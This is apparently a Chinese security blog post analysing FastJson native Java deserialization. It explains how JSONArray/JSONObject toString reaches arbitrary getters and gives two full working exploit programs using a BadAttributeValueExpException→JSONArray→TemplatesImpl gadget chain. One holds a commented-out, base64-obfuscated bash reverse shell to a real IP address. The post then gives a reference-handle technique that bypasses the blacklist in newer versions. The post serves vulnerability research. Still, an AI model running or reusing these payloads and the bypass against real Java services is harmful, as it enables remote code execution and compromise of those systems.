FastJson与原生反序列化

FastJson与原生反序列化

https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/

经典朗诵,3-4月份看到文章,8月份才复现,是不是老迟钝了

入口

既然是与原生反序列化相关,那我们去fastjson包里去看看哪些类继承了Serializable接口即可,最后找完只有两个类,JSONArray与JSONObject

JSONArray

JSONObject

但是它们都没有实现readObject,所以需要借助别人,通过其他类的readObject做中转来触发JSONArray或者JSON类当中的某个方法最终实现串链

然后关注Json类的toString,

在我们想用JSON.parse()触发get方法时,其中一个处理方法就是用JSONObject嵌套我们的payload

image-20230810173004003

结论:

触发toString->toJSONString->任意getter

如何触发getter方法

一般来说大家都把它当作结论(toJSONString->任意getter),这里讲解一下原理,我们跟一下

为何能触发getter

y4: 因为是toString所以肯定会涉及到对象中的属性提取,fastjson在做这部分实现时,是通过ObjectSerializer类的write方法去做的提取

com.alibaba.fastjson.JSON#toJSONString->com.alibaba.fastjson.serializer#write

image-20230810180152865

参数是fastjson.JSONArray,跟进去看

image-20230816153924225

存在着一个循环,当前的元素是TemplateImpl

把这个循环提取出来

for(int size = list.size(); i < size; ++i) {
    item = list.get(i);
    if (i != 0) {
        out.append(',');
    }

    if (item == null) {
        out.append("null");
    } else {
        Class<?> clazz = item.getClass();
        if (clazz == Integer.class) {
            out.writeInt((Integer)item);
        } else if (clazz == Long.class) {
            long val = (Long)item;
            if (writeClassName) {
                out.writeLong(val);
                out.write(76);
            } else {
                out.writeLong(val);
            }
        } else if ((SerializerFeature.DisableCircularReferenceDetect.mask & features) != 0) {
            itemSerializer = serializer.getObjectWriter(item.getClass());
            itemSerializer.write(serializer, item, i, elementType, features);
        } else {
            if (!out.disableCircularReferenceDetect) {
                SerialContext itemContext = new SerialContext(context, object, fieldName, 0, 0);
                serializer.context = itemContext;
            }

            if (serializer.containsReference(item)) {
                serializer.writeReference(item);
            } else {
                itemSerializer = serializer.getObjectWriter(item.getClass());
                if ((SerializerFeature.WriteClassName.mask & features) != 0 && itemSerializer instanceof JavaBeanSerializer) {
                    JavaBeanSerializer javaBeanSerializer = (JavaBeanSerializer)itemSerializer;
                    javaBeanSerializer.writeNoneASM(serializer, item, i, elementType, features);
                } else {
                    itemSerializer.write(serializer, item, i, elementType, features);
                }
            }
        }
    }
}

前面几个if都进不去,直接到else,注意到serializers这个HashMap储存着我们的JSONArray等待反序列化的类

最后到这一块

image-20230816154438037

一路进getObjectWriter

image-20230816155417280

这部分流程是先判断serializers这个HashMap当中有无默认映射

我这里和y4不一样

大概知道这个函数的功能就好,看到后面(还挺后面的com\alibaba\fastjson\serializer\SerializeConfig.class#getObjectWriter的758行)

有个createJavaBeanSerializer

image-20230816160656926

它会提取类当中的BeanInfo(包括有getter方法的属性)并传入createJavaBeanSerializer继续处理

image-20230816160643466

这些是关于asm字节码的操作,到最后有个generateWrroteMethod

而getter方法的生成就在com.alibaba.fastjson.serializer.ASMSerializerFactory#generateWriteMethod当中

image-20230816162519395

它会根据字段的类型调用不同的方法处理,

如果是Object的话会来到最后,进入Object

image-20230816162652845

这个地方就调用get了

fastjson1,2

影响版本:(截止目前是全版本)

  • Fastjson版本小于等于1.2.48

  • Fastjson版本高于1.2.49-1.2.83

既然只能触发get方法的调用那么很容易想到通过触发TemplatesImpl的getOutputProperties方法实现加载任意字节码最终触发恶意方法调用

而触发toString方法我们也有现成的链,通过BadAttributeValueExpException触发即可

因此我们很容易写出利用链子

BadAttributeValueExpException#toString->toJSONString#toString->(任意getter)->TemplatesImpl

Maven依赖

<dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.19.0-GA</version>
</dependency>
 <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.48</version>
</dependency>

exp

import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class Test {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "y4tacker");
        setValue(templates, "_tfactory", null);

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, jsonArray);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(val);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

我写的exp

package com.example.mydemo.qwq;

import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class TempFastjson {

    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  void  base64encode_exp(Object obj) throws IOException, ClassNotFoundException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
//        byte[] code = getTemplatesImpl("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzguMTI5LjQyLjE0MC8zMzA3IDA+JjE=}|{base64,-d}|{bash,-i}");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
        setValue(poc, "val",jsonArray);
        HashMap hashMap = new HashMap();
        hashMap.put(templates,poc);
        serialize(hashMap);
//        unserialize("ser.bin");
        base64encode_exp(hashMap);

    }
}

高版本黑名单-绕过resolveclass/checkAutoType分析

从1.2.49开始,我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法

里面有checkAutoType对反序列化进行检查

具体代码实现

image-20230816164113035

但是正常来说安全的黑名单应该是自己继承readObject,然后重写一下,参考巅峰极客babyurl

image-20230816164614112

也即

MyObjectInputStream->ObjectInputStream->resolveClass

不过阿里的fastjson解决方案不对,他是通过readObject调用SecurityObjectInputStream,SecurityObjectInputStream里再重写resolveClass的

换言之

ObjectInputStream -> readObject
xxxxxx(省略中间过程)
SecureObjectInputStream -> readObject -> resolveClass

这样导致的安全问题就是可以绕过,我们看下面怎么绕的:

java.io.ObjectInputStream#readObject0调用中,会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象

switch (tc) {
                case TC_NULL:
                    return readNull();
                case TC_REFERENCE:
                    return readHandle(unshared);
                case TC_CLASS:
                    return readClass(unshared);
                case TC_CLASSDESC:
                case TC_PROXYCLASSDESC:
                    return readClassDesc(unshared);
                case TC_STRING:
                case TC_LONGSTRING:
                    return checkResolve(readString(unshared));
                case TC_ARRAY:
                    return checkResolve(readArray(unshared));
                case TC_ENUM:
                    return checkResolve(readEnum(unshared));
                case TC_OBJECT:
                    return checkResolve(readOrdinaryObject(unshared));
                case TC_EXCEPTION:
                    IOException ex = readFatalException();
                    throw new WriteAbortedException("writing aborted", ex);
                case TC_BLOCKDATA:
                case TC_BLOCKDATALONG:
                    if (oldMode) {
                        bin.setBlockDataMode(true);
                        bin.peek();             // force header read
                        throw new OptionalDataException(
                            bin.currentBlockRemaining());
                    } else {
                        throw new StreamCorruptedException(
                            "unexpected block data");
                    }
                case TC_ENDBLOCKDATA:
                    if (oldMode) {
                        throw new OptionalDataException(true);
                    } else {
                        throw new StreamCorruptedException(
                            "unexpected end of block data");
                    }
                default:
                    throw new StreamCorruptedException(
                        String.format("invalid type code: %02X", tc));
            }

再回到上面这个switch分支的代码,不会调用readClassDesc的分支有TC_NULLTC_REFERENCETC_STRINGTC_LONGSTRINGTC_EXCEPTION,string与null这种对我们毫无用处的,exception类型则是解决序列化终止相关,这一点可以从其描述看出

image-20230816165854827

那么就只剩下了reference引用类型了

确定了tc用reference后,学了一下reference怎么用,进去看到了readHandle

Reads in object handle, sets passHandle to the read handle, and returns object associated with the handle.

读取对象句柄,将passHandle设置为读取句柄,并返回与句柄关联的对象。

现在我们就要思考,如何在JSONArray/JSONObject对象反序列化恢复对象时,让我们的恶意类成为引用类型从而绕过resolveClass的检查

答案是当向List、set、map类型中添加同样对象时即可成功利用,这里也简单提一下,这里以List为例,

demo

        ArrayList<Object> arrayList = new ArrayList<>();
        arrayList.add(templates);
        arrayList.add(templates);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(arrayList);
        objectOutputStream.close();
        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();

断点下在writeObject

当我们写入对象时,会在handles这个哈希表中建立从对象到引用的映射

image-20230816172229856

如果再次写入同一对象呢?

demo

        ArrayList<Object> arrayList = new ArrayList<>();
        arrayList.add(templates);
        arrayList.add(templates);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(arrayList);
        objectOutputStream.writeObject(arrayList);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();

当再次写入同一对象时,在handles这个hash表中查到了映射

image-20230816173210815

那么就会通过writeHandle将重复对象以引用类型写入

因此我们就可以利用这个思路构建攻击的payload了,这里简单以伪代码呈现,便于理解思路

JAVA
TemplatesImpl templates = TemplatesImplUtil.getEvilClass("open -na Calculator");
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray);
arrayList.add(bd);

WriteObjects(arrayList);

简单梳理下

序列化时,在这里templates先加入到arrayList中,后面在JSONArray中再次序列化TemplatesImpl时,由于在handles这个hash表中查到了映射,后续则会以引用形式输出

反序列化时ArrayList先通过readObject恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,在恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过

当然前面也提到了不仅仅是List,Set与Map类型都能成功触发引用绕过。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇